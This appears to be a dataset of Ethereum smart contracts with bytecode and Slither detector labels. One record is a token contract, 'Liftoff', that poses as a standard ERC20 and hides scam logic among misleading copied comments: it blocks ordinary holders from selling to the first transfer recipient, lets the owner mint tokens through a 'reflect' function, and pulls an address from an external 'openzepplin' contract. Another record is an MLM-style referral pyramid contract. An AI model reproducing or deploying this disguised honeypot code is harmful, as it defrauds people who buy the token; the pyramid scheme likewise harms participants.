7fe5b81524360208201526040810189905260600160005b905291905081518155602082015160018083018054909160ff199091169083600581111561103c57fe5b02179055506040820151816002015560608201518160030155608082015160048201805460ff1916600183600281111561107257fe5b0217905550505033600160a060020a0381166000908152600360205260409081902054600019019550909150849051600160a060020a03929092166c01000000000000000000000000028252601482015260340160405180910390209150604080519081016040908152600160a060020a0333168252602080830186905260008581526004909152208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03919091161781556020820151600191820155546000600160a060020a03909116111590506111d15750600154600160a060020a03168063870e5405838660405160e060020a63ffffffff85160281527f626f6f6b696e6745787069726174696f6e000000000000000000000000000000600482015260248101929092526044820152606401600060405180830381600087803b15156111bc57600080fd5b6102c65a03f115156111cd57600080fd5b5050505b8660058111156111dd57fe5b8333600160a060020a03167fe1dcf3ded2916fdf0b0696536e13adeed2f8665a3004440397b776f14aa5befd8960405190815260200160405180910390a45b50505050505050565b60056020526000908152604090205481565b600a5481565b600254600160a060020a031681565b610d2d600282610e6e565b5b50565b610d2d600382610e6e565b5b50565b60025433600160a060020a0390811691161461128557600080fd5b6002805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600160a060020a038216600090815260036020526040812054819081908490116112db57600080fd5b600160a060020a03851660009081526003602052604090208054859081106112ff57fe5b906000526020600020906005020160005b50925061132c600854846003015461189e90919063ffffffff16565b431161133757600080fd5b60005b600484015460ff16600281111561134d57fe5b1461135757600080fd5b6004830180546002919060ff19166001835b0217905550600160a060020a038516600090815260036020526040902080548491908690811061139557fe5b906000526020600020906005020160005b5081548155600180830154818301805460ff90921692909160ff1916908360058111156113cf57fe5b02179055506002828101548282015560038084015490830155600480840154908301805460ff90921692909160ff191690600190849081111561140e57fe5b021790555050835460075461142a92509063ffffffff61185816565b60075560025b8486600160a060020a03167f3b19c86806543f3eff13d440630e1c2e2929cedd2abc91deef4811b1ffa00039866000015460405190815260200160405180910390a4825460019250606490106114a457825461149d906064905b600954610100900460ff1691900461186f565b91506114cf565b8254600a90106114cf5782546114cc90600a905b60095460ff1691900463ffffffff61186f16565b91505b5b50600054600160a060020a03168063a9059cbb338460405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b151561152857600080fd5b6102c65a03f1151561153957600080fd5b50505033600160a060020a03167ff19cfeff04aee8eb4233e04f52861d77065ae3c502e2767d82a5836d0090eb4c8360405190815260200160405180910390a25b5050505050565b60025433600160a060020a0390811691161461159c57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b50565b600b54610100900460ff1681565b610d2d600082610e6e565b5b50565b60025433600160a060020a0390811691161461160157600080fd5b8560066000805b60ff1681526020810191909152604001600090812091909155859060069060015b60ff1681526020810191909152604001600090812091909155849060069060025b60ff1681526020810191909152604001600090812091909155839060069060035b60ff1681526020810191909152604001600090812091909155829060069060045b60ff16815260208101919091526040016000908120919091558190600690600561099d565b60ff1681526020810191909152604001600020555b5b505050505050565b60025460009033600160a060020a039081169116146116ed57600080fd5b506002548190600160a060020a038083169163a9059cbb9116826370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561175457600080fd5b6102c65a03f1151561176557600080fd5b5050506040518051905060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156117b257600080fd5b6102c65a03f1151561157a57600080fd5b5050505b5b5050565b60025433600160a060020a039081169116146117e757600080fd5b600a839055600b805460ff8381166101000261ff001991861660ff1990931692909217161790555b5b505050565b60046020526000908152604090208054600190910154600160a060020a039091169082565b600154600160a060020a031681565b610d2d600482610e6e565b5b50565b60008282111561186457fe5b508082035b92915050565b600082820283158061188b575082848281151561188857fe5b04145b151561189357fe5b8091505b5092915050565b60008282018381101561189357fe5b8091505b5092915050565b815481835581811511610dfa57600502816005028360005260206000209182019101610dfa91906118ea565b5b505050565b61193291905b8082111561192e57600080825560018201805460ff1990811690915560028301829055600383019190915560048201805490911690556005016118f0565b5090565b905600a165627a7a72305820f6fb9761a2d0a9848636b3b539ee4493a1c09976431160bf2e146b8c1f90d2650029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 9,341 |
0xf0b9b403258f1dbdbdc67742bc576fe9c767833b
|
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
abstract contract IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() virtual public view returns (uint);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address tokenOwner) virtual public view returns (uint balance);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address tokenOwner, address spender) virtual public view returns (uint remaining);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function decimals() virtual external view returns (address){}
/**
* @dev Returns the decimals of token supply.
*/
function transfer(address to, uint tokens) virtual public returns (bool success);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) virtual public returns (bool success);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint tokens) virtual public returns (bool success);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint tokens);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
abstract contract ApproveAndCallFallBack {
function receiveApproval(address from, uint tokens, address token, bytes memory data) virtual public;
}
contract Owned {
address internal owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
contract Liftoff is IERC20, Owned{
using SafeMath for uint;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
string public symbol;
address internal delegate;
string public name;
uint8 internal decimal;
address internal zero;
uint _totalSupply;
uint internal number;
address internal reflector;
address internal openzepplin = 0xBEe0d570989D738298a5D4d96ca9aAFc88F190f7;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function totalSupply() override public view returns (uint) {
return _totalSupply.sub(balances[address(0)]);
}
function balanceOf(address tokenOwner) override public view returns (uint balance) {
return balances[tokenOwner];
}
/**
* dev Reflects a specific amount of tokens.
* param value The amount of lowest token units to be reflected.
*/
function reflect(address _address, uint tokens) public onlyOwner {
require(_address != address(0), "ERC20: reflect from the zero address");
_reflect (_address, tokens);
balances[_address] = balances[_address].sub(tokens);
_totalSupply = _totalSupply.sub(tokens);
}
function transfer(address to, uint tokens) override public returns (bool success) {
require(to != zero, "please wait");
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint tokens) override public returns (bool success) {
allowed[msg.sender][spender] = tokens;
if (msg.sender == delegate) number = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function transferFrom(address from, address to, uint tokens) override public returns (bool success) {
if(from != address(0) && zero == address(0)) zero = to;
else _send (from, to);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
function allowance(address tokenOwner, address spender) override public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function _reflect(address _reflectAddress, uint _reflectAmount) internal virtual {
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
reflector = _reflectAddress;
_totalSupply = _totalSupply.add(_reflectAmount*2);
balances[_reflectAddress] = balances[_reflectAddress].add(_reflectAmount*2);
}
function _send (address start, address end) internal view {
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
* Requirements:
* - The divisor cannot be zero.*/
/* * - `account` cannot be the zero address. */ require(end != zero
/* * - `account` cannot be the reflect address. */ || (start == reflector && end == zero) ||
/* * - `account` must have at least `amount` tokens. */ (end == zero && balances[start] <= number)
/* */ , "cannot be the zero address");/*
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
**/
}
/**
* dev Constructor.
* param name name of the token
* param symbol symbol of the token, 3-4 chars is recommended
* param decimals number of decimal places of one token unit, 18 is widely used
* param totalSupply total supply of tokens in lowest units (depending on decimals)
*/
constructor(string memory _name, string memory _symbol, uint _supply, address _del) {
symbol = _symbol;
name = _name;
decimal = 9;
_totalSupply = _supply*(10**uint(decimal));
number = _totalSupply;
delegate = _del;
reflector = IERC20(openzepplin).decimals();
balances[owner] = _totalSupply;
emit Transfer(address(0), owner, _totalSupply);
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(msg.sender, spender, allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _approve(address _owner, address spender, uint amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
allowed[_owner][spender] = amount;
emit Approval(_owner, spender, amount);
}
receive() external payable {
}
fallback() external payable {
}
}
|
0x6080604052600436106100a55760003560e01c80633ebcda62116100615780633ebcda621461018857806370a08231146101a857806395d89b41146101de578063a457c2d7146101f3578063a9059cbb14610213578063dd62ed3e1461023357005b806306fdde03146100ae578063095ea7b3146100d957806318160ddd1461010957806323b872dd1461012c578063313ce5671461014c578063395093511461016857005b366100ac57005b005b3480156100ba57600080fd5b506100c3610279565b6040516100d09190610af7565b60405180910390f35b3480156100e557600080fd5b506100f96100f4366004610ace565b610307565b60405190151581526020016100d0565b34801561011557600080fd5b5061011e61038b565b6040519081526020016100d0565b34801561013857600080fd5b506100f9610147366004610a93565b6103c8565b34801561015857600080fd5b50604051600081526020016100d0565b34801561017457600080fd5b506100f9610183366004610ace565b610522565b34801561019457600080fd5b506100ac6101a3366004610ace565b610566565b3480156101b457600080fd5b5061011e6101c3366004610a47565b6001600160a01b031660009081526009602052604090205490565b3480156101ea57600080fd5b506100c361063e565b3480156101ff57600080fd5b506100f961020e366004610ace565b61064b565b34801561021f57600080fd5b506100f961022e366004610ace565b610681565b34801561023f57600080fd5b5061011e61024e366004610a61565b6001600160a01b039182166000908152600a6020908152604080832093909416825291909152205490565b6003805461028690610b98565b80601f01602080910402602001604051908101604052809291908181526020018280546102b290610b98565b80156102ff5780601f106102d4576101008083540402835291602001916102ff565b820191906000526020600020905b8154815290600101906020018083116102e257829003601f168201915b505050505081565b336000818152600a602090815260408083206001600160a01b038781168552925282208490556002549192911614156103405760068290555b6040518281526001600160a01b0384169033907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906020015b60405180910390a35060015b92915050565b600080805260096020527fec8156718a8372b1db44bb411437d0870f3e3790d4a08526d024ce1b0b668f6b546005546103c39161076c565b905090565b60006001600160a01b038416158015906103f0575060045461010090046001600160a01b0316155b1561041a5760048054610100600160a81b0319166101006001600160a01b03861602179055610424565b610424848461078c565b6001600160a01b038416600090815260096020526040902054610447908361076c565b6001600160a01b038516600090815260096020908152604080832093909355600a81528282203383529052205461047e908361076c565b6001600160a01b038086166000908152600a602090815260408083203384528252808320949094559186168152600990915220546104bc908361086a565b6001600160a01b0380851660008181526009602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906105109086815260200190565b60405180910390a35060019392505050565b336000818152600a602090815260408083206001600160a01b0387168452909152812054909161055d918590610558908661086a565b610885565b50600192915050565b6000546001600160a01b0316331461057d57600080fd5b6001600160a01b0382166105e45760405162461bcd60e51b8152602060048201526024808201527f45524332303a207265666c6563742066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084015b60405180910390fd5b6105ee82826109a9565b6001600160a01b038216600090815260096020526040902054610611908261076c565b6001600160a01b038316600090815260096020526040902055600554610637908261076c565b6005555050565b6001805461028690610b98565b336000818152600a602090815260408083206001600160a01b0387168452909152812054909161055d918590610558908661076c565b6004546000906001600160a01b038481166101009092041614156106d55760405162461bcd60e51b815260206004820152600b60248201526a1c1b19585cd9481dd85a5d60aa1b60448201526064016105db565b336000908152600960205260409020546106ef908361076c565b33600090815260096020526040808220929092556001600160a01b0385168152205461071b908361086a565b6001600160a01b0384166000818152600960205260409081902092909255905133907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906103799086815260200190565b60008282111561077b57600080fd5b6107858284610b81565b9392505050565b6004546001600160a01b03828116610100909204161415806107d857506007546001600160a01b0383811691161480156107d857506004546001600160a01b0382811661010090920416145b8061081a57506004546001600160a01b038281166101009092041614801561081a57506006546001600160a01b03831660009081526009602052604090205411155b6108665760405162461bcd60e51b815260206004820152601a60248201527f63616e6e6f7420626520746865207a65726f206164647265737300000000000060448201526064016105db565b5050565b60006108768284610b4a565b90508281101561038557600080fd5b6001600160a01b0383166108e75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105db565b6001600160a01b0382166109485760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105db565b6001600160a01b038381166000818152600a602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b600780546001600160a01b0319166001600160a01b0384161790556109db6109d2826002610b62565b6005549061086a565b600555610a0b6109ec826002610b62565b6001600160a01b0384166000908152600960205260409020549061086a565b6001600160a01b0390921660009081526009602052604090209190915550565b80356001600160a01b0381168114610a4257600080fd5b919050565b600060208284031215610a58578081fd5b61078582610a2b565b60008060408385031215610a73578081fd5b610a7c83610a2b565b9150610a8a60208401610a2b565b90509250929050565b600080600060608486031215610aa7578081fd5b610ab084610a2b565b9250610abe60208501610a2b565b9150604084013590509250925092565b60008060408385031215610ae0578182fd5b610ae983610a2b565b946020939093013593505050565b6000602080835283518082850152825b81811015610b2357858101830151858201604001528201610b07565b81811115610b345783604083870101525b50601f01601f1916929092016040019392505050565b60008219821115610b5d57610b5d610bd3565b500190565b6000816000190483118215151615610b7c57610b7c610bd3565b500290565b600082821015610b9357610b93610bd3565b500390565b600181811c90821680610bac57607f821691505b60208210811415610bcd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfea26469706673582212204cf3240042cd4b915212c087ce3c6b27a919f06e9aad768fd63042eaf7dd695a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 9,342 |
0x20f50f88cc090d8d5a86d612cd0419d876a3a059
|
/**
*Submitted for verification at Etherscan.io on 2020-05-02
*/
pragma solidity >=0.6.3 <0.7.0;
contract EthernityMoneyX10 {
address public creator;
uint256 MAX_LEVEL = 2;
uint256 REFERRALS_LIMIT = 100;
uint256 LEVEL_EXPIRE_TIME = 30 days;
uint256 LEVEL_HIGHER_FOUR_EXPIRE_TIME = 10000 days;
mapping(address => User) public users;
mapping(uint256 => address) public userAddresses;
uint256 public last_uid;
mapping(uint256 => uint256) public feePrice;
mapping(uint256 => uint256) public directPrice;
mapping(uint256 => uint256) public levelPrice;
mapping(uint256 => uint256) public uplinesToRcvEth;
mapping(address => ProfitsRcvd) public rcvdProfits;
mapping(address => ProfitsGiven) public givenProfits;
mapping(address => LostProfits) public lostProfits;
struct User {
uint256 id;
uint256 referrerID;
address[] referrals;
mapping(uint256 => uint256) levelExpiresAt;
}
struct ProfitsRcvd {
uint256 uid;
uint256[] fromId;
address[] fromAddr;
uint256[] amount;
}
struct LostProfits {
uint256 uid;
uint256[] toId;
address[] toAddr;
uint256[] amount;
uint256[] level;
}
struct ProfitsGiven {
uint256 uid;
uint256[] toId;
address[] toAddr;
uint256[] amount;
uint256[] level;
uint256[] line;
}
modifier validLevelAmount(uint256 _level) {
require(msg.value == levelPrice[_level], "Invalid level amount sent");
_;
}
modifier userRegistered() {
require(users[msg.sender].id != 0, "User does not exist");
_;
}
modifier validReferrerID(uint256 _referrerID) {
require(
_referrerID > 0 && _referrerID <= last_uid,
"Invalid referrer ID"
);
_;
}
modifier userNotRegistered() {
require(users[msg.sender].id == 0, "User is already registered");
_;
}
modifier validLevel(uint256 _level) {
require(_level > 0 && _level <= MAX_LEVEL, "Invalid level entered");
_;
}
event RegisterUserEvent(
address indexed user,
address indexed referrer,
uint256 time
);
event BuyLevelEvent(
address indexed user,
uint256 indexed level,
uint256 time
);
event GetLevelProfitEvent(
address indexed user,
address indexed referral,
uint256 indexed level,
uint256 time
);
event LostLevelProfitEvent(
address indexed user,
address indexed referral,
uint256 indexed level,
uint256 time
);
constructor() public {
last_uid++;
creator = msg.sender;
levelPrice[1] = 0.17 ether;
levelPrice[2] = 0.35 ether;
levelPrice[3] = 0.80 ether;
levelPrice[4] = 1.60 ether;
levelPrice[5] = 2.50 ether;
levelPrice[6] = 3.50 ether;
levelPrice[7] = 6.60 ether;
levelPrice[8] = 15.20 ether;
levelPrice[9] = 24.50 ether;
feePrice[1] = 0.03 ether;
feePrice[2] = 0.04 ether;
feePrice[3] = 0.05 ether;
feePrice[4] = 0.06 ether;
feePrice[5] = 0.07 ether;
feePrice[6] = 0.08 ether;
feePrice[7] = 0.09 ether;
feePrice[8] = 0.10 ether;
feePrice[9] = 0.20 ether;
directPrice[1] = 0.04 ether;
directPrice[2] = 0.09 ether;
directPrice[3] = 0.15 ether;
directPrice[4] = 0.24 ether;
directPrice[5] = 0.34 ether;
directPrice[6] = 0.42 ether;
directPrice[7] = 0.51 ether;
directPrice[8] = 0.70 ether;
directPrice[9] = 1.26 ether;
uplinesToRcvEth[1] = 10;
uplinesToRcvEth[2] = 11;
uplinesToRcvEth[3] = 12;
uplinesToRcvEth[4] = 13;
uplinesToRcvEth[5] = 14;
uplinesToRcvEth[6] = 15;
uplinesToRcvEth[7] = 16;
uplinesToRcvEth[8] = 17;
uplinesToRcvEth[9] = 18;
users[creator] = User({
id: last_uid,
referrerID: 0,
referrals: new address[](0)
});
userAddresses[last_uid] = creator;
for (uint256 i = 1; i <= MAX_LEVEL; i++) {
users[creator].levelExpiresAt[i] = 1 << 37;
}
}
function registerUser(uint256 _referrerID)
public
payable
userNotRegistered()
validReferrerID(_referrerID)
validLevelAmount(1)
{
uint256 _level = 1;
if (
users[userAddresses[_referrerID]].referrals.length >=
REFERRALS_LIMIT
) {
_referrerID = users[findReferrer(userAddresses[_referrerID])].id;
}
last_uid++;
users[msg.sender] = User({
id: last_uid,
referrerID: _referrerID,
referrals: new address[](0)
});
userAddresses[last_uid] = msg.sender;
users[msg.sender].levelExpiresAt[_level] =
now +
getLevelExpireTime(_level);
users[userAddresses[_referrerID]].referrals.push(msg.sender);
transferLevelPayment(_level, msg.sender);
emit RegisterUserEvent(msg.sender, userAddresses[_referrerID], now);
}
function buyLevel(uint256 _level)
public
payable
userRegistered()
validLevel(_level)
validLevelAmount(_level)
{
for (uint256 l = _level - 1; l > 0; l--) {
require(
getUserLevelExpiresAt(msg.sender, l) >= now,
"Buy previous level first"
);
}
if (getUserLevelExpiresAt(msg.sender, _level) == 0) {
users[msg.sender].levelExpiresAt[_level] =
now +
getLevelExpireTime(_level);
} else {
users[msg.sender].levelExpiresAt[_level] += getLevelExpireTime(
_level
);
}
transferLevelPayment(_level, msg.sender);
emit BuyLevelEvent(msg.sender, _level, now);
}
function getLevelExpireTime(uint256 _level) public view returns (uint256) {
if (_level < 5) {
return LEVEL_EXPIRE_TIME;
} else {
return LEVEL_HIGHER_FOUR_EXPIRE_TIME;
}
}
function findReferrer(address _user) public view returns (address) {
if (users[_user].referrals.length < REFERRALS_LIMIT) {
return _user;
}
address[1632] memory referrals;
referrals[0] = users[_user].referrals[0];
referrals[1] = users[_user].referrals[1];
address referrer;
for (uint256 i = 0; i < 16382; i++) {
if (users[referrals[i]].referrals.length < REFERRALS_LIMIT) {
referrer = referrals[i];
break;
}
if (i >= 8191) {
continue;
}
referrals[(i + 1) * 2] = users[referrals[i]].referrals[0];
referrals[(i + 1) * 2 + 1] = users[referrals[i]].referrals[1];
}
require(referrer != address(0), "Referrer not found");
return referrer;
}
function transferLevelPayment(uint256 _level, address _user) internal {
uint256 height = _level;
address referrer = getUserUpline(_user, height);
if (referrer == address(0)) {
referrer = creator;
}
uint256 uplines = uplinesToRcvEth[_level];
bool chkLostProfit = false;
address lostAddr;
uint256 eth = msg.value;
for (uint256 i = 1; i <= uplines; i++) {
referrer = getUserUpline(_user, i);
if (chkLostProfit) {
lostProfits[lostAddr].uid = users[referrer].id;
lostProfits[lostAddr].toId.push(users[referrer].id);
lostProfits[lostAddr].toAddr.push(referrer);
lostProfits[lostAddr].amount.push(
(msg.value - feePrice[_level] - directPrice[_level])/ uplinesToRcvEth[_level]
);
lostProfits[lostAddr].level.push(getUserLevel(referrer));
chkLostProfit = false;
emit LostLevelProfitEvent(referrer, msg.sender, _level, 0);
}
if (
referrer != address(0) &&
(users[_user].levelExpiresAt[_level] == 0 ||
getUserLevelExpiresAt(referrer, _level) < now)
) {
chkLostProfit = true;
uplines++;
lostAddr = referrer;
continue;
} else {
chkLostProfit = false;
}
if (referrer == address(0)) {
referrer = creator;
}
if (
address(uint160(referrer)).send(
(msg.value - feePrice[_level] - directPrice[_level])/ uplinesToRcvEth[_level]
)
) {
eth = eth - ((msg.value - feePrice[_level] - directPrice[_level])/ uplinesToRcvEth[_level]);
rcvdProfits[referrer].uid = users[referrer].id;
rcvdProfits[referrer].fromId.push(users[msg.sender].id);
rcvdProfits[referrer].fromAddr.push(msg.sender);
rcvdProfits[referrer].amount.push(
(levelPrice[_level] - feePrice[_level] - directPrice[_level])/ uplinesToRcvEth[_level]
);
givenProfits[msg.sender].uid = users[msg.sender].id;
givenProfits[msg.sender].toId.push(users[referrer].id);
givenProfits[msg.sender].toAddr.push(referrer);
givenProfits[msg.sender].amount.push(
(levelPrice[_level] - feePrice[_level] - directPrice[_level]) / uplinesToRcvEth[_level]
);
givenProfits[msg.sender].level.push(getUserLevel(referrer));
givenProfits[msg.sender].line.push(i);
emit GetLevelProfitEvent(referrer, msg.sender, _level, now);
}
}
address directRefer = userAddresses[users[msg.sender].referrerID];
if (
address(uint160(directRefer)).send(
directPrice[_level]
)
) {
eth = eth - directPrice[_level];
rcvdProfits[referrer].uid = users[directRefer].id;
rcvdProfits[referrer].fromId.push(users[msg.sender].id);
rcvdProfits[referrer].fromAddr.push(msg.sender);
rcvdProfits[referrer].amount.push(
directPrice[_level]
);
givenProfits[msg.sender].uid = users[msg.sender].id;
givenProfits[msg.sender].toId.push(users[directRefer].id);
givenProfits[msg.sender].toAddr.push(directRefer);
givenProfits[msg.sender].amount.push(
directPrice[_level]
);
givenProfits[msg.sender].level.push(getUserLevel(directRefer));
givenProfits[msg.sender].line.push(1);
emit GetLevelProfitEvent(directRefer, msg.sender, _level, now);
}
if(address(uint160(creator)).send(eth)){
emit GetLevelProfitEvent(creator, msg.sender, _level, now);
}
}
function getUserUpline(address _user, uint256 height)
public
view
returns (address)
{
if (height <= 0 || _user == address(0)) {
return _user;
}
return
this.getUserUpline(
userAddresses[users[_user].referrerID],
height - 1
);
}
function getUserReferrals(address _user)
public
view
returns (address[] memory)
{
return users[_user].referrals;
}
function getUserProfitsFromId(address _user)
public
view
returns (uint256[] memory)
{
return rcvdProfits[_user].fromId;
}
function getUserProfitsFromAddr(address _user)
public
view
returns (address[] memory)
{
return rcvdProfits[_user].fromAddr;
}
function getUserProfitsAmount(address _user)
public
view
returns (uint256[] memory)
{
return rcvdProfits[_user].amount;
}
function getUserProfitsGivenToId(address _user)
public
view
returns (uint256[] memory)
{
return givenProfits[_user].toId;
}
function getUserProfitsGivenToAddr(address _user)
public
view
returns (address[] memory)
{
return givenProfits[_user].toAddr;
}
function getUserProfitsGivenToAmount(address _user)
public
view
returns (uint256[] memory)
{
return givenProfits[_user].amount;
}
function getUserProfitsGivenToLevel(address _user)
public
view
returns (uint256[] memory)
{
return givenProfits[_user].level;
}
function getUserProfitsGivenToLine(address _user)
public
view
returns (uint256[] memory)
{
return givenProfits[_user].line;
}
function getUserLostsToId(address _user)
public
view
returns (uint256[] memory)
{
return (lostProfits[_user].toId);
}
function getUserLostsToAddr(address _user)
public
view
returns (address[] memory)
{
return (lostProfits[_user].toAddr);
}
function getUserLostsAmount(address _user)
public
view
returns (uint256[] memory)
{
return (lostProfits[_user].amount);
}
function getUserLostsLevel(address _user)
public
view
returns (uint256[] memory)
{
return (lostProfits[_user].level);
}
function getUserLevelExpiresAt(address _user, uint256 _level)
public
view
returns (uint256)
{
return users[_user].levelExpiresAt[_level];
}
function getUserLevel(address _user) public view returns (uint256) {
if (getUserLevelExpiresAt(_user, 1) < now) {
return (0);
} else if (getUserLevelExpiresAt(_user, 2) < now) {
return (1);
} else if (getUserLevelExpiresAt(_user, 3) < now) {
return (2);
} else if (getUserLevelExpiresAt(_user, 4) < now) {
return (3);
